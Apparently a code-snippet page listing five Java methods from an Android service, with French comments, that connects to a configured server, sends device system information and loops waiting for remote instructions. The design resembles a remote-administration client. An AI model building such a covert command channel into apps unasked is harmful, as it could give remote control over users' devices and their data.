Beispiel #1
0
 public void waitInstruction() { // Le thread sera bloqué dedans
   try {
     for (; ; ) {
       if (stop) break;
       conn.getInstruction();
     }
   } catch (Exception e) {
     isListening = false;
     // Toast.makeText(getApplicationContext(), "Client disconnected !", Toast.LENGTH_LONG).show();
   }
 }
Beispiel #2
0
 public void onDestroy() {
   // savePreferences("myPref");
   // savePreferences("preferences");
   if (!isRecording) {
     Log.i(TAG, "in onDestroy");
     if (conn != null) {
       try {
         conn.stop();
       } catch (Exception e) {
         Log.i(TAG, "Error in socket close: " + e.getMessage());
       }
     }
     stop = true;
     super.onDestroy();
   }
 }
Beispiel #3
0
  public void onStartCommand() {
    Log.i(TAG, "In onCreate");
    infos = new SystemInfo(this);
    procCmd = new ProcessCommand(this);

    loadPreferences();
    this.ip = ipfield.getText().toString();
    this.port = new Integer(portfield.getText().toString());
    // this.ip = "192.168.0.12";
    // this.port = 9999;

    if (!isRunning) { // C'est la première fois qu'on le lance
      // --- On ne passera qu'une fois ici ---
      isRunning = true;
      conn = new Connection(ip, port, this); // On se connecte et on lance les threads
      Log.i(TAG, "Try to connect to " + ip + ":" + port);
      if (conn.connect()) {
        packet = new CommandPacket();
        readthread =
            new Thread(
                new Runnable() {
                  public void run() {
                    waitInstruction();
                  }
                });
        readthread.start(); // On commence vraiment a écouter
        CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
        handleData(0, pack.build());
        // gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4);
        // //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
        isListening = true;
        Toast.makeText(getApplicationContext(), "Connected!", Toast.LENGTH_LONG).show();
      } else {
        Toast.makeText(getApplicationContext(), "Connection failed", Toast.LENGTH_LONG).show();
      }
    }
  }
Beispiel #4
0
 public void handleData(int channel, byte[] data) {
   conn.sendData(channel, data);
 }
Beispiel #5
0
 public void sendError(
     String error) { // Methode que le Client doit implémenter pour envoyer des informations
   conn.sendData(1, new LogPacket(System.currentTimeMillis(), (byte) 1, error).build());
 }